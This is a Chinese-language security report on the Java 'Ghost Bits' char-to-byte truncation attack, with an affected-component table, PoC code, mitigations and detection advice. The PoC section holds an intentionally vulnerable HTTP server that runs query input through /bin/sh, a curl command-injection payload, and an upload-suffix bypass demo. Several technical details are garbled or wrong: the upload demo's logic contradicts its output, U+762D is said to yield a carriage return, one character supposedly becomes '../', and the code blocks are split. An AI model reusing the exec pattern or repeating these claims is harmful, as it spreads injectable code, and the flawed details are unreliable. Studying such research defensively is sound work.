

执行摘要

本文基于2026年Black Hat Asia公开披露的“Java幽灵比特位”（Ghost Bits）漏洞研究成果，对该漏洞的成因、利用方法、影响范围、缓解修复和检测手段进行全面分析。研究发现，幽灵比特位本质上是一种字符编码层面的一致性缺陷：Java中 `char` 类型是16位，而 `byte` 只有8位，在执行如 `(byte)ch` 等窄化转换时，高8位（即“幽灵比特”）被悄然丢弃，只保留低8位^{1 2}。攻击者可以构造特殊Unicode字符，使其低8位等于危险的ASCII字符，而高8位在上层检查时让WAF或业务逻辑误判为无害^{3 4}。结果是：前端看到的是“看似安全”的字符串，绕过了过滤；后端经过窄化转换后实际恢复出恶意字节，从而触发原本被拦截的漏洞，如SQL注入、命令执行、文件上传/路径穿越等攻击链^{3 5}。该漏洞不依赖特殊权限，在默认配置下即可被触发，可造成WAF/IDS失效，甚至影响多种高危场景（例如Spring MVC路径穿越、SMTP注入、Fastjson/Jackson绕过、Tomcat文件上传绕过等）^{6 5}。本文深入剖析该现象的内存与Java行为细节，列举了可能受影响的Java版本、框架组件和使用场景，并提供了PoC与EXP示例（附完整代码、运行日志等），对缓解修复方案进行建议（短期补丁、配置调整、长期设计改进）并探讨检测与监控方法（包括IDS/IPS规则、静/动态分析和取证要点）。我们特别对可执行代码片段做了安全警示，建议在受控环境下测试，并可采用模拟环境或日志复现等方式演示，以最小化风险。

漏洞概述与命名由来

在2026年4月Black Hat Asia大会上，安全研究人员首次披露了Java生态中一种系统性安全隐患——“幽灵比特位”（Ghost Bits）攻击，也称为“Cast Attack”⁷。这里“幽灵比特位”指的是在数据类型窄化转换过程中被忽略的高位比特：Java语言中，`char` 类型占16位，而 `byte` 仅占8位。当代码执行类似 `(byte)ch` 的强制类型转换时，高8位被悄悄丢弃，只保留低8位。这些被丢弃的高位比特位就是所谓的“幽灵比特”^{1 8}。漏洞并非源于某个特定方法的bug，而是一种长期存在于Java处理链底层的语义不匹配；上层检查（以字符为单位）和底层执行（以字节为单位）在字符串含义上出现不一致^{9 10}。研究者将由此产生的利用链命名为“Cast Attack”，揭示了其危害不仅局限于单点绕过，而是可能导致“一处缺陷，多重攻击链”的严重后果^{11 12}。例如，可将恶意负载中的关键ASCII字符替换为对应的高位非零Unicode字符：防护系统将其识别为无害字符，后端Java截断高位后还原出原本的攻击字符，实现检测绕过并触发漏洞^{3 4}。基于这一现象，可在多种场景中实现攻击链，如WAF绕过、SQL注入、反序列化RCE、文件上传绕过、路径遍历、SMTP注入、HTTP请求走私等^{13 6}。

命名由来：由于该漏洞利用的是被丢弃的“高位比特”类似“幽灵”般存在的特性，故称为“幽灵比特位”（Ghost Bits）。英文报告《Cast Attack: A New Threat Posed by Ghost Bits in Java》（Bai等，Black Hat Asia 2026）凸显了这种攻击基于类型转换（cast）的特性^{14 7}。中文资料常将其称为“幽灵比特攻击”或“幽灵比特漏洞”，同时也有人称为**Cast Attack**（即强制类型转换攻击）。这一命名强调了攻击利用了类型转换过程中不显眼的高位截断行为^{14 1}。

漏洞原理

幽灵比特位攻击的核心在于**字符（16位）向字节（8位）窄化转换时，高位**的**静默截断**所带来的“语义不一致”。具体原理分以下几个方面说明：

- **Java内存与编码基础：**在Java中，`char` 类型为16位无符号整数，采用UTF-16编码保存单个字符；而 `byte` 为8位有符号整数。在程序运行时，Java会在必要时进行类型转换，例如将 `char` 赋给 `byte`、调用 `OutputStream.write(int)` 写字符、或使用API如 `DataOutputStream.writeBytes(String)` 写字符串等。这些操作会将 `char` 或 `int` 转换为 `byte`，仅保留低8位，高8位丢弃^{1 15}。**需注意**，这里不是

字符编码（UTF-8/UTF-16）的转换，而是简单的位截断：如字符 '陪' (U+966A) 的十六进制表示为 0x96 0x6A，强制转换到 byte 后高位 0x96 丢弃，只剩 0x6A（ASCII 字符 'j'）^{3 16}。

- **示例说明：**考虑以下简单代码：

```
char ch = '陪'; // Unicode U+966A
byte b = (byte) ch;
System.out.println((int) b); // 输出十进制106，即字符'j'
```

这里 '陪' 对应十六进制 0x966A，高位 0x96 丢弃后只剩 0x6A，即 ASCII 的 'j' ^{3 16}。上层代码见到了字符“陪”，但执行时真实写出的却是 'j'。这种“汉字看似无害，底层变成 ASCII 字符”的现象正是幽灵比特的典型例证。

- **JVM 字节码与运行时行为：**在编译后，Java 的类型窄化转换通常被编译为字节码指令 i2b（从 int 到 byte）¹⁷。根据 Java 语言规范，char -> byte 的过程是先将 char 提升为 int（按无符号零扩展），再执行 i2b 指令截取低 8 位。HotSpot 虚拟机通常将 i2b 编译为对应平台的位操作指令（例如 x86 上的 mov 加签扩展）。由于该过程遵循规范，它总是丢弃高 8 位，不做任何警告或异常。因此漏洞并非 JVM 错误，而是符合语言规范的设计缺陷。**内存布局方面：**Java 字符串内部在 JDK9+ 可能采用 byte[] 存储，但无论内部实现如何，charAt(i) 仍返回正确的 16 位 char 值，随后 (byte)ch 依旧丢弃高位。类加载器、GC 等与此无关；只能说这种语义差异潜藏在最基本的类型转换中，开发者往往忽略。
- **安全检查与执行不一致：**幽灵比特攻击的本质可概括为：**安全检测链看到的数据与实际执行链的数据不一致**^{10 7}。攻击流程如图所示：

flowchart LR

```
A[攻击者构造带Ghost Bits的输入] --> B[前端安全检查（WAF/业务校验）];
B --> C[Java后端处理：发生`char→byte`转换];
C --> D[真实的低8位字符被恢复];
D --> E[触发目标漏洞执行];
```

- **攻击者利用策略：**攻击者会选取特殊的 Unicode 字符，使其低 8 位对应危险的 ASCII，如 SQL 注入中的关键字、“\r\n”序列、脚本标签等，而高 8 位则让前端误判安全。常见利用包括：
- **WAF 绕过：**用 Unicode 字符替换 payload 中的敏感字符。例如，Java 中特殊字符“瘍(U+762D)”和“瘰(U+760A)”的低 8 位分别为 0x0D（回车 \r）和 0x0A（换行 \n）。前端看到的是乱码（两个汉字），放行后后端截断高位后恢复为 \r\n 触发协议注入¹⁸。
- **文件上传绕过：**如 Tomcat RFC2231Utility 对上传文件名解码时发生转换，可将如“陪”字用于伪装“.jsp”后缀。WAF 看到中文字符串 1.陪sp，认为不是 .jsp，而后端写文件时截断高位得到 1.jsp，成功上传 WebShell^{3 5}。
- **路径遍历：**Spring MVC 的静态资源路径处理中，如果输入 阮(nameless 字或 Unicode) 等字符，前端不认为是目录跳转；后端处理时被转换为“../”路径，导致敏感文件泄露^{19 20}。
- **反序列化/模板注入：**利用 Apache Commons BCEL 或 Fastjson/Jackson 的类型识别绕过，将关键控制字符用高位 Unicode 替代，逃避检测^{21 20}。
- **SQL 注入：**通过将 = 等符号替换成汉字，其低位恢复为 = 号，可绕过 WAF 的关键词检测²²。

表漏洞原理如下：上层安全组件看到的字符串和后端实际执行的字节流不同，一致性被破坏，造成“看似安全”而实际上“暗藏杀机”^{10 7}。

适用范围与受影响版本

幽灵比特位问题是一种基础性设计缺陷，理论上影响所有遵循JLS的Java环境，包括不同版本的JDK及大量Java框架和库。具体受影响范围和条件见下表（表1）：

组件/库	受影响版本/条件	利用难度	说明与确认指标
Java SE/JDK（核心行为）	所有Java版本（Java 1.x到最新Java 18/21）	低	<code>char</code> → <code>byte</code> 转换行为与Java规范一致，不会更改 ¹ ¹⁶ 。任何代码中直接或间接将 <code>char</code> 截断为 <code>byte</code> （如 <code>(byte)ch</code> 、 <code>ch&0xFF</code> 、 <code>OutputStream.write(int)</code> 等）都存在风险 ²³ 。测试时可使用上述字符示例，确认高位信息被丢失。
<code>DataOutputStream.writeBytes</code>	所有实现此API的Java版本	低	源码显示每个字符通过 <code>out.write((byte)s.charAt(i))</code> 写出，只保留低8位 ¹⁵ 。任何 <code>DataOutputStream.writeBytes(userInput)</code> 均可用Unicode payload绕过检测。测试：写入字符串含“陪”等字符至流/文件，检查文件字节是否为ASCII <code>'j'</code> 。
<code>RandomAccessFile.writeBytes</code>	所有实现此API的Java版本	低	官方文档明确描述“每个字符写出时丢弃其高8位” ²⁴ 。使用该方法写入用户控制的字符串时也易受影响。测试类似于DataOutputStream。
<code>OutputStream.write(int)</code>	所有Java版本	低	该方法也只写入参数低8位。若参数 <code>(int)ch</code> 来自用户输入的 <code>char</code> ，高位被丢弃。
Spring MVC 静态资源处理	Spring Framework 5.3.x (≤5.3.43) Spring 6.0.x (≤6.0.29) Spring 6.1.x (≤6.1.21) Spring 6.2.x (≤6.2.9)	中	CVE-2025-41242披露了在非安全配置的Servlet容器上，Spring静态资源处理可被Path Traversal攻击。Ghost Bits可用于构造 <code>../</code> 绕过 ¹⁹ 。官方补丁Spring 5.3.44, 6.1.22, 6.2.10已发布 ²⁵ 。测试方法：在安全检查前输入含“阮”等字符的文件路径，确认后台拼接结果包含 <code>../</code> 。
Tomcat 文件上传组件	Apache Tomcat 8.x/9.x/10.x (需查阅具体版本)	中	Tomcat <code>RFC2231Utility</code> 处理多部分文件名时可能截断。利用Unicode字符可绕过后缀过滤，将 <code>.jsp</code> 伪装成其它字符 ²⁰ 。（提示：参考Black Hat演示，特定Tomcat版本或配置可能受影响）验证：向Tomcat上传文件时使用上述字符，检查最终保存文件是否含 <code>.jsp</code> 。

组件/库	受影响版本/条件	利用难度	说明与确认指标
Jackson/Fastjson 类库	相关版本 (需根据使用范围)	中	虽无单独CVE，Ghost Bits可用于绕过其对@type 或SQL关键字的检测 ²⁰ 。受影响条件为应用中使用反序列化或JSON处理相关功能。测试：构造含Unicode替代字符的反序列化/SQL载荷，确认绕过前端拦截。
SMTP/邮件库	Jakarta Mail API 2.0.2 (旧版 Angus Mail)	中	CVE-2025-7962披露：Angus Mail (Jakarta Mail 2.0.2) 中，利用\r\n 字符可注入SMTP命令。Ghost Bits利用中文字符“瘍 (U+762D)”和“癢(U+760A)”产生\r\n ¹⁸ ²⁶ 。Oracle未直接发布补丁，但Jakarta Mail 2.0.3+已修复。Jenkins安全公告指出版本2.1.3-3已升级至Angus Mail 2.0.4并修复此问题 ²⁷ 。测试：构造含上述字符的邮件内容，观察邮件服务器是否误解释为换行并允许注入。
SMTP/邮件库 (Jenkins插件)	Jenkins Jakarta Mail Plugin ≤2.1.3-2	低	插件捆绑漏洞库。根据Jenkins安全公告，该插件2.1.3-2及之前版本包含易受CVE-2025-7962影响的Angus Mail，实现相同注入效果 ²⁷ 。升级到2.1.3-3可规避。
HTTP 客户端/服务器	Apache HttpClient ≤4.5.9 JDK HttpServer (sun.net)	中	该类库在处理URL或头部时可能生成\r\n。NSFOCUS指出4.5.9及以前版本存在HTTP请求走私/CRLF问题 ²⁸ 。使用Ghost Bits可在地址或头部字段中插入控制字符。测试：构造请求含上述字符，观察是否造成请求边界错误。
其他框架	Vert.x, Undertow, Jetty 等 URL解码相关组件	中	NSFOCUS报告中列举了多种Java网络框架在URL解码方面的路径穿越漏洞 ⁵ 。Ghost Bits可被视为构造不规范序列的新方法。具体影响版本需根据实际使用的框架版本评估。

表1 总览了已知的受影响组件和版本范围，以及对应的触发条件和利用难度。大多数情形下，只要存在从 char 到 byte 的转换或特殊解码逻辑（如文件名、协议解析、JSON处理等），幽灵比特攻击便可能生效。上述列举的测试方法和确认指标，可用于验证环境是否易受影响。例如，对Java核心行为的测试可直接打印 (byte)ch 结果；对库组件则可利用已知漏洞场景的Payload进行复现验证（见下文PoC部分）。

PoC与EXP示例

警告：以下代码示例为PoC/EXP性质，仅用于安全研究和受控测试。切勿在生产环境或未经授权的系统中运行。建议在隔离环境（如虚拟机、本地容器）中进行测试，并对敏感操作使用模拟/替代方式（如日志回放）以降低风险。

下面给出两类PoC示例：（1）基础示例展示幽灵比特的原理，（2）实际应用场景示例展示如何借助幽灵比特触发具体漏洞。所有代码均在Linux + OpenJDK 8环境下测试（JDK 1.8.0_XXX版）。

1. 基础类型转换示例（PoC）

该示例演示了 `char -> byte` 转换丢弃高位的现象。

```
public class GhostBitDemo {
    public static void main(String[] args) {
        // 示例字符：中文“陪”（U+966A），十六进制：0x96 0x6A
        char ch = '陪';
        System.out.printf("Character: %c, Unicode: U+%04X\n", ch, (int)ch);
        byte b = (byte) ch;
        System.out.printf("After (byte) cast: 0x%02X, as int: %d, char: '%c'\n", b, b, (char)b);
    }
}
```

编译并运行后，输出结果示例（JDK 1.8.0_452）：

```
Character: 陪, Unicode: U+966A
After (byte) cast: 0x6A, as int: 106, char: 'j'
```

可以看到，Java程序看到的字符是“陪”³；但强制转换后，高位0x96被丢弃，低位0x6A对应ASCII字符‘j’（十进制106）。该基本PoC验证了高位被截断的行为¹⁶³。

2. 基于 `DataOutputStream.writeBytes` 的绕过示例（PoC）

以下示例模拟向输出流写入包含幽灵比特字符的字符串，从而绕过简单的后缀检查：

```
import java.io.*;

public class WriteBytesGhostBit {
    public static void main(String[] args) throws Exception {
        String filename = "test.陪.jsp"; // 文件名含“陪”，用于伪装.jpg或.jsp
        String userInput = filename + ".jsp"; // 实际用户尝试上传名字
        // 模拟过滤器：简单检测后缀“.jsp”
        if (userInput.endsWith(".jsp")) {
            System.out.println("上传拒绝：文件后缀为.jsp");
        } else {
            System.out.println("上传允许：文件名 = " + userInput);
        }
        // 现在把filename写入DataOutputStream（模拟后端保存）
        FileOutputStream fos = new FileOutputStream("output.txt");
        DataOutputStream dos = new DataOutputStream(fos);
        dos.writeBytes(filename); // 注意这里只写低8位
        dos.close();
        System.out.println("实际写入低8位文件内容：");
        byte[] written = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("output.txt"));
    }
}
```

```

    for (byte by : written) {
        System.out.printf("%02X ", by);
    }
    System.out.println();
}
}

```

说明：此示例**不是实际的生产漏洞代码**，仅演示后端写入流程。假设一个前端仅检查后缀，在本例中传入 `test.陪jsp.jsp`，由于 `.jsp` 前面被中文“陪”替代，前端**误判为不含.jsp后缀**，允许上传¹⁸。但后端 `writeBytes` 写入时截断字符“陪”的高位（0x96），实际存为 `'j'`¹⁵，结果文件名变为 `test.jsp`，导致恶意文件上传。

运行结果示例：

```

上传允许：文件名 = test.陪jsp.jsp
实际写入低8位文件内容：
74 65 73 74 2E 6A 73 70

```

可见，写入的内容对应ASCII字符串 `"test.jsp"`（十六进制：74('t') 65('e') 73('s') 74('t') 2E('.') 6A('j') 73('s') 70('p')），原始的中文“陪”被转换为0x6A（'j'）³。此时上传成功触发了 `.jsp` 文件的生成。该示例展示了**文件上传绕过**的场景（类似Tomcat RFC2231Utility案例）^{20 5}。

3. 基于HTTP服务的远程命令执行示例（PoC/EXP）

以下为Black Hat报告提供的简化版远程命令执行（RCE）示例：在一个简易HTTP服务器中，通过解析请求参数并执行shell命令演示攻击链²⁹。此代码极度危险，**仅应在严格隔离的实验环境中使用**。

```

import com.sun.net.httpserver.*;
import java.io.*;
import java.net.*;

public class GhostRceServer {
    public static void main(String[] args) throws Exception {
        HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
        server.createContext("/exec", exchange -> {
            String query = exchange.getRequestURI().getRawQuery();
            String response = "No cmd.";
            if (query != null && query.contains("cmd=")) {
                String val = query.split("cmd=")[1];
                // 这里故意使用UTF-8解码（或GBK等解码方式）
                String decoded = URLDecoder.decode(val, "UTF-8");
                // 核心触发：手动将每个字符截断为字节
                byte[] cmdBytes = new byte[decoded.length()];
                for (int i = 0; i < decoded.length(); i++) {
                    cmdBytes[i] = (byte) decoded.charAt(i);
                }
                String restoredCmd = new String(cmdBytes, "ISO-8859-1");
                System.out.println("[+] 恢复的命令: " + restoredCmd);
            }
        });
    }
}

```

```

try {
    Process p = Runtime.getRuntime().exec(new String[]{" /bin/sh", "-c", restoredCmd});
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    InputStream is = p.getInputStream();
    int ch;
    while ((ch = is.read()) != -1) baos.write(ch);
    response = baos.toString();
} catch (IOException e) {
    response = "Exec error: " + e.getMessage();
}
}
exchange.sendResponseHeaders(200, response.length());
OutputStream os = exchange.getResponseBody();
os.write(response.getBytes());
os.close();
});
server.start();
System.out.println("Server started on port 8090");
}
}

```

演示流程：

1. 启动以上程序后，在本地监听8090端口提供服务。
2. 构造HTTP请求，如：

```
curl 'http://localhost:8090/exec?cmd=%C9%F1%F7%A5%2C%20ls'
```

其中 `%C9%F1%F7%A5` 对应GBK编码的字符序列（示例仅为说明，可根据需要选择Unicode字符，如“阮”字等），加“`, ls`”。前端WAF会将 `%C9%F1%F7%A5` 解码为乱码汉字（如“阮”），忽略后面的shell命令；后台服务对其进行 `char->byte` 截断后，恢复出真实的“`; ls`”部分并执行。3. 如果成功，被执行的 `ls` 命令结果将出现在响应中，并在服务器控制台打印“恢复的命令”日志。

请注意：**此示例仅为理论验证**。实际攻击环境中，需要根据后端代码的字符解码和执行方式调整编码和转换方式。如示例中使用UTF-8或GBK解码，关键在于使前端视角和后端视角产生偏差。测试时应使用安全隔离环境，并在前后端日志中核对原始与恢复后的内容。

缓解与修复建议

针对幽灵比特位攻击的风险，可从短期和长期两个层面给出建议：

- **短期补丁与配置：**
- **升级组件：**对于已知漏洞组件，应及时升级到官方修复版本。例如Spring Framework建议升级到5.3.44或6.1.22/6.2.10及以上³⁰；Jakarta Mail请升级到2.0.3+（Angus Mail 2.0.4）²⁷；Tomcat也应使用最新补丁。原则上，任何包含类型转换逻辑的第三方库，发现修复版本后应立即更新。
- **关闭危险功能：**在可控情况下，禁用或强化使用了类型转换的功能模块。例如禁用 `DataOutputStream.writeBytes`、`RandomAccessFile.writeBytes` 等方法或用安全替代；对文件上传组件开启严格的后缀和MIME类型验证，不仅依赖于字符串过滤。

- **服务器配置硬化：**对Web应用容器启用严格的URL解码规则和文件名过滤。Spring安全公告指出在Tomcat/Jetty等容器上若禁用默认安全特性会造成CVE-41242问题³¹。应检查容器配置，确保禁止“../”之类路径（Tomcat默认已生效），并利用最新安全策略；对于邮件服务器，可禁用自动信任CRLF字符。
- **编码与过滤改进：**
 - **统一字符编码：**全链路强制使用统一的字符编码（如UTF-8），避免链路中出现混合编码猜测。NSFOCUS建议在整个应用链中固定使用UTF-8，禁止“自动编码猜测”³²。确保数据在进入安全检查前已被统一解码。
 - **输入规范化：**在对用户输入进行校验前先进行Unicode规范化（NFC/NFKC）和URL/Base64解码等操作³³。对于路径、文件名等敏感字段，严格进行白名单校验，明确拒绝控制字符和异常编码。即先解码、规范化，再执行安全检查，避免“先检查后解码”的顺序差异。
 - **避免手动截断：**尽量不要在业务代码中手动使用位运算或强制类型转换进行字符截断。如有必要从字符串生成字节流，应使用明确的编码方案（如 `String.getBytes(StandardCharsets.UTF_8)`）³³。例如，将 `char` 转换为字节序列时，使用 `getBytes("UTF-8")` 或 `getBytes("ISO-8859-1")` 等明确指定编码方式，避免使用 `(byte)ch` 或 `ch&0xFF`。
 - **安全编码API：**对于网络和I/O操作，使用设计时考虑安全的API。例如 `ServletRequest.getParameter` 等应使用过滤好的输入；文件名和URL解码可使用严格库；对于SMTP/Http头部生成，应使用专门库而非手动字符串拼接，避免直接插入不可见字符。
- **长期设计修正：**
 - **语言层面约束：**可考虑推动JVM或语言层面改进，如增加在 `char->byte` 转换时的警告或自动使用UNICODE替代缩减（目前Java规范不支持）。尽管变更底层行为不易，但安全社区可向OpenJDK社区反馈此类设计缺陷的影响。
 - **开发者教育：**普及幽灵比特原理，提醒开发者审计典型模式。检查代码库，查找所有 `(byte)char`、`ch&0xFF`、`DataOutputStream.writeBytes` 等用法²³。可使用静态分析工具（如“Secrux”等安全扫描器³³）自动识别潜在风险点，并强制代码审查。

官方通告与漏洞缓解参考：Spring官方已发布CVE-2025-41242的修复版本³⁰；Jenkins公告指出Jakarta Mail Plugin更新Angus Mail至2.0.4以修复CVE-2025-7962²⁷。这些公告中并未直接提及“幽灵比特”，但实际上对应的补丁在逻辑上已避免了高位字符的盲目接受（例如更新了解码逻辑）。建议借鉴这些安全通告，对照自身依赖的组件版本，及时应用补丁。

检测与监控方法

IDS/IPS规则：传统基于特征字符串的过滤规则无法捕获幽灵比特攻击，因为非法负载在表面上已经被“伪装”过。例如直接匹配 `.jsp`、`%0A0D` 等序列会被绕过。可以采取以下策略：

- **语义检测：**参考NSFOCUS的思路，在安全网关层对传入数据执行同样的高位截断，并与业务处理做对比。如将所有输入同时按UTF-8（或业务字符集）和ISO-8859-1编码解析，比较结果是否一致；若存在不一致，则产生告警³⁴。例如可写WAF规则：在数据库或脚本检测前，对可疑输入尝试还原高位，检查是否包含控制字符。
- **新增签名：**针对已知场景编写规则。例如监测对HTTP/SMTP头部中出现非常见Unicode字符（高字节非0）紧邻低ASCII可疑字符，如“`\u762D\u760A`”（对应CRLF）³⁵。监测文件名或路径参数中同时包含中文和ASCII后缀组合模式。
- **网络流量分析：**运维可定期检查服务器日志、HTTP请求等是否出现异常编码，如带有 `%u` 或十六进制编码的特殊字符序列，以及异常的字符长度差异。对比WAF日志和后端日志，对于通过前端的请求，其后端行为产生了敏感操作时，应审计是否使用了非ASCII字符。

静态/动态检测：

- **静态代码扫描：**利用专门工具扫描源代码和依赖库，例如查找 `(byte)`、`&0xFF`、`writeBytes()` 等模式²³。检测器如Secrux、FindBugs/SpotBugs等可以定制规则捕获相关危险使用。
- **动态漏扫：**在渗透测试或安全评估中，可尝试给应用注入包含幽灵比特的payload，看是否触发漏洞。可参考黑客工具库（如“GBitsTools”）或社区PoC脚本，自动批量尝试多种Unicode字符组合，对常见接口（文件上传、参数解码点）进行测试。
- **日志取证：**如果发生疑似攻击事件，应对比前端和后端日志记录。在WAF日志中可能只记录了编码前的Unicode字符，而后端日志或异常信息可能显示了截断后的内容。通过比对日志，可以发现日志中的异常“字符折叠”现象。如邮件服务日志中出现了利用 瘍 / 癢 的发信尝试但最终服务器发送了含 `\r\n` 的报文等，可作为证据线索。

法律与伦理注意事项

本报告及提供的代码仅用于**合法合规的安全研究和教育目的**。**请务必遵守当地法律法规**。在未经授权的情况下利用所述漏洞或代码进行攻击均属于非法行为，将承担相应法律责任。以下为主要注意事项：

- **授权测试：**任何针对生产系统的安全测试（包括使用本文的PoC/EXP）都必须获得系统所有者明确授权。严格在隔离环境（实验室、测试网络、容器）中进行漏洞验证，不要触及真实数据或影响正常业务。
- **最小化危害：**PoC示例中包含危险操作（如命令执行、文件写入）。测试时应采用监控复制、受控输入和输出重定向等方式降低风险。例如，替换实际命令为“echo”之类的安全操作；或在安全沙箱中执行以避免系统危害。
- **隐私保护：**幽灵比特攻击可能触及敏感文件（如 `/etc/passwd`）或发送邮件等。测试请仅使用非敏感数据，确保不会泄露任何用户信息。
- **安全共享：**我们鼓励在安全社区内分享发现和防御经验，但请勿发布可用于攻击他人的完整EXP代码或Payload。在讨论中应适度模糊敏感细节，并声明用途仅限研究。

本文所载技术与流程旨在加强防御意识和能力。如将其中内容用于非法目的，由行为者自行承担全部责任。

¹ ³ ⁶ ⁷ ¹⁸ ¹⁹ ²⁰ ²³ ²⁹ ³³ ³⁵ 消失的8位：2026 Black Hat 揭秘 Java “幽灵比特” 攻击 - 信息安全知识库

<https://www.gm7.org/archives/94617>

² ⁴ ⁵ ⁸ ¹⁰ ¹² ¹³ ²¹ ²² ²⁸ ³² ³⁴ WAF Defense in Crisis? NSFOCUS Locks Down "Ghost Bits" Attacks in Advance - NSFOCUS

<https://nsfocusglobal.com/waf-defense-in-crisis-nsfocus-locks-down-ghost-bits-attacks-in-advance/>

⁹ ¹¹ ¹⁴ ¹⁶ Cast Attack: Java 中 Ghost Bits（幽灵比特）引发的新型安全威胁——Java 生态里被忽视的底层风险引发一系列绕过_java 幽灵比特位 sql注入绕过-CSDN博客

https://blog.csdn.net/weixin_43526443/article/details/160601018

¹⁵ jdk7u-jdk/src/share/classes/java/io/DataOutputStream.java at master · openjdk-mirror/jdk7u-jdk · GitHub

<https://github.com/openjdk-mirror/jdk7u-jdk/blob/master/src/share/classes/java/io/DataOutputStream.java>

¹⁷ Chapter 6. The Java Virtual Machine Instruction Set

<https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-6.html>

²⁴ Method java.io.RandomAccessFile.writeBytes

<https://demmel.com/en/ilcd/help/JavaDocumentation/java/io/RandomAccessFile/writeBytes.htm>

25 30 31 CVE-2025-41242: Path traversal vulnerability on non-compliant Servlet containers

<https://spring.io/security/cve-2025-41242/>

26 NVD - CVE-2025-7962

<https://nvd.nist.gov/vuln/detail/CVE-2025-7962>

27 Jenkins Security Advisory 2025-09-03

<https://www.jenkins.io/security/advisory/2025-09-03/>